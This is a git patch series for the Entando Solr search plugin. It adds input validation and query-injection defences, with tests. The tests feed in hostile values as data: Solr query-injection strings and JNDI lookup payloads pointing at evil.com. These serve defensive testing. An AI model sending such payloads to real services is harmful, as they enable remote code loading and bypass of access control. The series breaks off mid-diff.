From 8e968a0874bac2343daabea345c84b9c8b0f67f5 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Thu, 2 Jul 2026 15:44:11 +0200 Subject: [PATCH 1/6] ESB-1154 refacotred error handling, updated tests --- .../jpsolr/aps/system/solr/SearcherDAO.java | 17 ++++-- .../solr/SearcherDAOSpecialCharsTest.java | 55 ++++++++----------- 2 files changed, 35 insertions(+), 37 deletions(-) diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index fb5a799ec..c1ff86a40 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -188,8 +188,10 @@ private void addFilters(SolrQuery solrQuery, SearchEngineFilter[] filters) { solrQuery.addSort("score", ORDER.desc); } else if (null != filter.getOrder()) { String fieldKey = this.getFilterKey(filter); - boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); - solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); + if (null != fieldKey) { + boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); + solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); + } } } } @@ -334,6 +336,9 @@ protected Query createQueryByFilter(SearchEngineFilter filter) { return null; } String key = this.getFilterKey(filter); + if (null == key) { + return null; + } Object value = filter.getValue(); List allowedValues = filter.getAllowedValues(); Integer relevanceValue = this.getRelevance(filter); @@ -549,8 +554,8 @@ protected Query getTermQueryForTextSearch(String key, String value, boolean isLi protected String getFilterKey(SearchEngineFilter filter) { String key = filter.getKey().replace(":", "_"); if (!VALID_FIELD_KEY.matcher(key).matches()) { - throw new IllegalArgumentException( - "Rejected Solr field key with unsafe characters: '" + key + "'"); + log.warn("Rejected Solr field key with unsafe characters: '{}'", key); + return null; } if (filter.isFullTextSearch()) { return key; @@ -561,8 +566,8 @@ protected String getFilterKey(SearchEngineFilter filter) { : insertedLangCode; String normalizedLang = langCode.toLowerCase(); if (!VALID_FIELD_KEY.matcher(normalizedLang).matches()) { - throw new IllegalArgumentException( - "Rejected Solr lang code with unsafe characters: '" + normalizedLang + "'"); + log.warn("Rejected Solr lang code with unsafe characters: '{}'", normalizedLang); + return null; } key = normalizedLang + "_" + key; } else if (!key.startsWith(SolrFields.SOLR_FIELD_PREFIX)) { diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index e9ac539c9..031d63793 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -21,7 +21,6 @@ import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; -import static org.junit.jupiter.api.Assertions.assertThrows; /** * Special-character handling tests for SearcherDAO query building. @@ -250,44 +249,39 @@ void exactPhraseMultipleValuesEmitsQuotedOutput_documentingCurrentBehavior() thr // User-controlled field names that contain Lucene/Solr meta-characters // (parentheses, spaces, operators, local-params braces …) corrupt the // query string produced by BooleanQuery.toString() and can break the - // group-based access-control filter. All such inputs must be rejected - // with IllegalArgumentException before any Term object is constructed. + // group-based access-control filter. All such inputs must be dropped + // (logged and skipped) so that the injected field never reaches the + // executed query, which retains only the safe access-control clause. // ------------------------------------------------------------------ @Test - void shouldRejectFieldNameWithParenthesisAndOrOperator() { + void shouldDropFieldNameWithParenthesisAndOrOperator() throws Exception { // Simulates: filters[0].attribute = "foo) OR (*:*" SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectEntityAttrWithInjectedOperator() { + void shouldDropEntityAttrWithInjectedOperator() throws Exception { // Simulates: filters[0].entityAttr = "attr) OR (*:*" (isAttributeFilter = true) SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("attr) OR (*:*", true, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSpaces() { + void shouldDropFieldNameWithSpaces() throws Exception { SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("valid AND malicious", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectLangCodeUsedAsFullTextSearchKey() { + void shouldDropLangCodeUsedAsFullTextSearchKey() throws Exception { // Simulates: lang = "en) OR (*:*" passed as the full-text search field key. // The filter key IS the lang code when fullTextSearch = true. SolrSearchEngineFilter filter = @@ -295,37 +289,31 @@ void shouldRejectLangCodeUsedAsFullTextSearchKey() { TextSearchOption.AT_LEAST_ONE_WORD); filter.setFullTextSearch(true); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectInjectedLangCodePrefixOnAttributeFilter() { + void shouldDropInjectedLangCodePrefixOnAttributeFilter() throws Exception { // Simulates a crafted SolrSearchEngineFilter whose langCode (the prefix // prepended to the field name for attribute filters) contains operators. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("key", true, "value"); filter.setLangCode("en) OR (*:*"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSolrLocalParamsBrace() { + void shouldDropFieldNameWithSolrLocalParamsBrace() throws Exception { // Simulates an attempt to inject Solr local params ({!...}) via field name. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("{!func}log(popularity)", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameInDoubleFilterArray() { + void shouldDropFieldNameInDoubleFilterArray() throws Exception { // Same injection via the searchFacetedContents(SearchEngineFilter[][] …) overload. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); @@ -333,9 +321,14 @@ void shouldRejectFieldNameInDoubleFilterArray() { SearchEngineFilter[][] doubleFilters = new SearchEngineFilter[][]{{filter}}; - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(doubleFilters, - new SearchEngineFilter[]{}, new ArrayList<>())); + ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); + Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + .thenReturn(mockQueryResponse()); + + searcherDAO.searchFacetedContents(doubleFilters, + new SearchEngineFilter[]{}, new ArrayList<>()); + + Assertions.assertEquals("+(entity_group:free)", queryCaptor.getValue().getQuery()); } // ------------------------------------------------------------------ From c14d0a9bdcf26b35eba60853d4a9e58566244521 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Thu, 2 Jul 2026 17:02:03 +0200 Subject: [PATCH 2/6] ESB-1154 fix tests --- .../jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index 031d63793..1d66fe078 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -322,8 +322,9 @@ void shouldDropFieldNameInDoubleFilterArray() throws Exception { new SearchEngineFilter[][]{{filter}}; ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); + QueryResponse queryResponse = mockQueryResponse(); Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) - .thenReturn(mockQueryResponse()); + .thenReturn(queryResponse); searcherDAO.searchFacetedContents(doubleFilters, new SearchEngineFilter[]{}, new ArrayList<>()); From 6d3e8dc633aa70bb861873ad04d878f8026f86e9 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 10:48:27 +0200 Subject: [PATCH 3/6] ESB-1154 trimmed log --- .../controller/control/Authenticator.java | 27 +++- .../content/AdvContentFacetManager.java | 106 +++++++++++++- .../content/AdvContentFacetManagerTest.java | 131 ++++++++++++++++++ .../AdvContentSearchControllerTest.java | 60 ++++++++ 4 files changed, 320 insertions(+), 4 deletions(-) diff --git a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java index ac90da269..65c97e83a 100644 --- a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java +++ b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java @@ -101,12 +101,37 @@ public int service(RequestContext reqCtx, int status) { } retStatus = ControllerManager.CONTINUE; } catch (Throwable t) { - _logger.error("Error, could not fulfill the request", t); + if (isMalformedRequest(t)) { + // The request itself is malformed (e.g. invalid query string encoding): this is a + // client error, not a server fault. Log it concisely, without the full stack trace. + _logger.warn("Could not fulfill the request: malformed request ({})", t.getMessage()); + } else { + _logger.error("Error, could not fulfill the request", t); + } retStatus = ControllerManager.SYS_ERROR; reqCtx.setHTTPError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); } return retStatus; } + + /** + * Detects whether the given throwable (or any cause in its chain) denotes a malformed client + * request, such as an invalid query string encoding surfaced while accessing request parameters. + * Such conditions are client errors (HTTP 400) and don't warrant a full ERROR stack trace. + * Matching is done by class name to avoid a hard dependency on the servlet container internals. + */ + private static boolean isMalformedRequest(Throwable t) { + for (Throwable cause = t; cause != null; cause = cause.getCause()) { + String className = cause.getClass().getSimpleName(); + if ("BadMessageException".equals(className) || cause instanceof IllegalArgumentException) { + return true; + } + if (cause.getCause() == cause) { + break; + } + } + return false; + } protected IUserManager getUserManager() { return _userManager; diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java index d903ea29c..1644d7962 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java @@ -22,6 +22,7 @@ import com.agiletec.plugins.jacms.aps.system.services.searchengine.ICmsSearchEngineManager; import java.util.ArrayList; import java.util.List; +import java.util.regex.Pattern; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; @@ -29,9 +30,15 @@ import org.entando.entando.aps.system.services.searchengine.FacetedContentsResult; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; import org.entando.entando.ent.exception.EntException; +import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.springframework.validation.BeanPropertyBindingResult; import org.entando.entando.plugins.jpsolr.conditions.SolrActive; import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; import org.springframework.beans.factory.annotation.Autowired; @@ -44,6 +51,11 @@ @SolrActive(true) public class AdvContentFacetManager implements IAdvContentFacetManager { + private static final EntLogger logger = EntLogFactory.getSanitizedLogger(AdvContentFacetManager.class); + + private static final Pattern SAFE_IDENTIFIER = Pattern.compile("[a-zA-Z0-9_.:,-]+"); + private static final Pattern INJECTION_PATTERN = Pattern.compile("\\$\\{|%24%7B", Pattern.CASE_INSENSITIVE); + private final ICategoryManager categoryManager; private final ICmsSearchEngineManager searchEngineManager; private final IAuthorizationManager authorizationManager; @@ -101,11 +113,12 @@ protected SearchEngineFilter[] getFilters(SearchEngineFilter[] baseFilters, List @Override public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest requestList, UserDetails user) { + this.validateRequest(requestList); SolrFacetedContentsResult facetedResult; try { - String langCode = - (StringUtils.isBlank(requestList.getLang())) ? this.langManager.getDefaultLang().getCode() - : requestList.getLang(); + String langCode = StringUtils.isBlank(requestList.getLang()) + ? this.langManager.getDefaultLang().getCode() + : requestList.getLang(); SolrSearchEngineFilter[] searchFilters = requestList.extractFilters(langCode); SolrSearchEngineFilter[][] doubleFilters = requestList.extractDoubleFilters(langCode); if (null != searchFilters) { @@ -124,6 +137,93 @@ public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest re return facetedResult; } + protected void validateRequest(AdvRestContentListRequest requestList) { + BeanPropertyBindingResult bindingResult = + new BeanPropertyBindingResult(requestList, "advContentSearchRequest"); + // lang + if (!StringUtils.isBlank(requestList.getLang())) { + boolean validLang = this.langManager.getLangs().stream() + .anyMatch(l -> l.getCode().equals(requestList.getLang())); + if (!validLang) { + bindingResult.rejectValue("lang", "INVALID_LANG_CODE", + new Object[]{}, "lang.code.invalid"); + } + } + // sort + rejectIfUnsafeIdentifier(requestList.getSort(), "sort", bindingResult); + // direction + rejectIfUnsafeIdentifier(requestList.getDirection(), "direction", bindingResult); + // text + rejectIfInjection(requestList.getText(), "text", bindingResult); + // searchOption + rejectIfUnsafeIdentifier(requestList.getSearchOption(), "searchOption", bindingResult); + // csvCategories + if (null != requestList.getCsvCategories()) { + for (String csv : requestList.getCsvCategories()) { + rejectIfUnsafeIdentifier(csv, "csvCategories", bindingResult); + } + } + // filters + validateFilters(requestList.getFilters(), "filters", bindingResult); + // doubleFilters + if (null != requestList.getDoubleFilters()) { + for (SolrFilter[] innerFilters : requestList.getDoubleFilters()) { + validateFilters(innerFilters, "doubleFilters", bindingResult); + } + } + if (bindingResult.hasErrors()) { + throw new ValidationConflictException(bindingResult); + } + } + + private void validateFilters(Filter[] filters, String fieldPrefix, + BeanPropertyBindingResult bindingResult) { + if (null == filters) { + return; + } + for (Filter filter : filters) { + rejectIfUnsafeIdentifier(filter.getAttribute(), fieldPrefix + ".attribute", bindingResult); + rejectIfUnsafeIdentifier(filter.getEntityAttr(), fieldPrefix + ".entityAttr", bindingResult); + rejectIfUnsafeIdentifier(filter.getOperator(), fieldPrefix + ".operator", bindingResult); + rejectIfUnsafeIdentifier(filter.getOrder(), fieldPrefix + ".order", bindingResult); + rejectIfUnsafeIdentifier(filter.getType(), fieldPrefix + ".type", bindingResult); + rejectIfInjection(filter.getValue(), fieldPrefix + ".value", bindingResult); + if (null != filter.getAllowedValues()) { + for (String av : filter.getAllowedValues()) { + rejectIfInjection(av, fieldPrefix + ".allowedValues", bindingResult); + } + } + if (filter instanceof SolrFilter solrFilter) { + rejectIfUnsafeIdentifier(solrFilter.getSearchOption(), + fieldPrefix + ".searchOption", bindingResult); + } + } + } + + private static void rejectIfUnsafeIdentifier(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (!SAFE_IDENTIFIER.matcher(value).matches()) { + logger.warn("Rejected unsafe identifier in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + + private static void rejectIfInjection(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (INJECTION_PATTERN.matcher(value).find()) { + logger.warn("Rejected injection pattern in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + protected List getAllowedGroups(UserDetails currentUser) { List groupCodes = new ArrayList<>(); if (null != currentUser) { diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java index a919d8915..0809ef97b 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java @@ -4,16 +4,28 @@ import static org.mockito.ArgumentMatchers.eq; import static org.mockito.ArgumentMatchers.isNull; +import com.agiletec.aps.system.services.authorization.IAuthorizationManager; import com.agiletec.aps.system.services.category.Category; import com.agiletec.aps.system.services.category.CategoryManager; import com.agiletec.aps.system.services.group.Group; +import com.agiletec.aps.system.services.lang.ILangManager; +import com.agiletec.aps.system.services.lang.Lang; import com.agiletec.plugins.jacms.aps.system.services.content.widget.UserFilterOptionBean; import java.util.List; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; +import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.SolrSearchEngineManager; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; @@ -30,6 +42,10 @@ class AdvContentFacetManagerTest { private CategoryManager categoryManager; @Mock private SolrSearchEngineManager searchEngineManager; + @Mock + private IAuthorizationManager authorizationManager; + @Mock + private ILangManager langManager; @InjectMocks private AdvContentFacetManager facetManager; @@ -81,4 +97,119 @@ void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { Mockito.verify(searchEngineManager).searchFacetedEntities( any(SearchEngineFilter[].class), eq(nodeCodesFilter), isNull()); } + + @Test + void shouldRejectJndiInjectionInLang() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("${jndi:ldap://evil.com/exploit}"); + Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectNonExistentLangCode() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("zzz"); + Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldAcceptBlankLangCodeAndUseDefault() throws Exception { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + Mockito.when(langManager.getDefaultLang()).thenReturn(createLang("en")); + Mockito.when(((ISolrSearchEngineManager) searchEngineManager) + .searchFacetedEntities( + any(SolrSearchEngineFilter[][].class), + any(SolrSearchEngineFilter[].class), + any(List.class))) + .thenReturn(new SolrFacetedContentsResult()); + facetManager.getFacetedContents(request, null); + Mockito.verify(langManager, Mockito.never()).getLangs(); + } + + @ParameterizedTest + @ValueSource(strings = { + "${jndi:ldap://evil.com/exploit}", + "${sys:java.version}", + "%24%7Bjndi:ldap://evil.com%7D" + }) + void shouldRejectInjectionInSort(String malicious) { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSort(malicious); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInCsvCategories() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setCsvCategories(new String[]{"${jndi:ldap://evil.com}"}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInText() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setText("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "someValue", "eq"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterEntityAttr() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter(); + filter.setEntityAttr("${jndi:ldap://evil.com}"); + filter.setOperator("eq"); + filter.setValue("test"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterValue() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("typeCode", "${jndi:ldap://evil.com}", "eq"); + filter.setEntityAttr("typeCode"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInDoubleFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "val", "eq"); + request.setDoubleFilters(new SolrFilter[][]{{filter}}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInSearchOption() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSearchOption("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + private static Lang createLang(String code) { + Lang lang = new Lang(); + lang.setCode(code); + return lang; + } } diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java index 982ee432c..ff2d996a9 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java @@ -1223,4 +1223,64 @@ void testSearchByOption() throws Exception { super.waitNotifyingThread(); } + @Test + void testFacetedContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInSortReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("sort", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterAttributeReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].attribute", "${jndi:ldap://evil.com}") + .param("filters[0].operator", "eq") + .param("filters[0].value", "test")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterValueReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].entityAttr", "typeCode") + .param("filters[0].operator", "eq") + .param("filters[0].value", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInCsvCategoriesReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("csvCategories", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInTextReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("text", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + } From dd4a3800045f57866b95eabdea545418b867fc15 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 10:59:46 +0200 Subject: [PATCH 4/6] ESB-1154 fix jakarta servlet error attributes --- admin-console/src/main/webapp/error.jsp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/admin-console/src/main/webapp/error.jsp b/admin-console/src/main/webapp/error.jsp index 8bec65d6f..8074cf17f 100644 --- a/admin-console/src/main/webapp/error.jsp +++ b/admin-console/src/main/webapp/error.jsp @@ -5,9 +5,9 @@ <%@ taglib prefix="wp" uri="/aps-core" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <% - Object statusCode = request.getAttribute("javax.servlet.error.status_code"); - Object exceptionType = request.getAttribute("javax.servlet.error.exception_type"); - Object message = request.getAttribute("javax.servlet.error.message"); + Object statusCode = request.getAttribute("jakarta.servlet.error.status_code"); + Object exceptionType = request.getAttribute("jakarta.servlet.error.exception_type"); + Object message = request.getAttribute("jakarta.servlet.error.message"); %> From 3a1348ed4e18fc9ad65f6aeffe90fb7ac33d44c8 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 11:06:01 +0200 Subject: [PATCH 5/6] ESB-1154 quality gate --- .../jpsolr/aps/system/solr/SearcherDAO.java | 32 ++++++++++++------- 1 file changed, 20 insertions(+), 12 deletions(-) diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index c1ff86a40..db4107273 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -182,18 +182,26 @@ protected SolrFacetedContentsResult executeQuery(Query query, SearchEngineFilter } private void addFilters(SolrQuery solrQuery, SearchEngineFilter[] filters) { - if (null != filters) { - for (SearchEngineFilter filter : filters) { - if (null != this.getRelevance(filter)) { - solrQuery.addSort("score", ORDER.desc); - } else if (null != filter.getOrder()) { - String fieldKey = this.getFilterKey(filter); - if (null != fieldKey) { - boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); - solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); - } - } - } + if (null == filters) { + return; + } + for (SearchEngineFilter filter : filters) { + this.addSort(solrQuery, filter); + } + } + + private void addSort(SolrQuery solrQuery, SearchEngineFilter filter) { + if (null != this.getRelevance(filter)) { + solrQuery.addSort("score", ORDER.desc); + return; + } + if (null == filter.getOrder()) { + return; + } + String fieldKey = this.getFilterKey(filter); + if (null != fieldKey) { + boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); + solrQuery.addSort(fieldKey, revert ? ORDER.desc : ORDER.asc); } } From bd295dc52484dbf9aa9a87bad067e44204080eab Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 14:23:32 +0200 Subject: [PATCH 6/6] ESB-1154 quality gate --- .../content/AdvContentFacetManagerTest.java | 27 ++++++++++--------- .../solr/SearcherDAOSpecialCharsTest.java | 17 +++++++----- 2 files changed, 25 insertions(+), 19 deletions(-) diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java index 0809ef97b..b73301e9d 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java @@ -3,6 +3,10 @@ import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.eq; import static org.mockito.ArgumentMatchers.isNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; import com.agiletec.aps.system.services.authorization.IAuthorizationManager; import 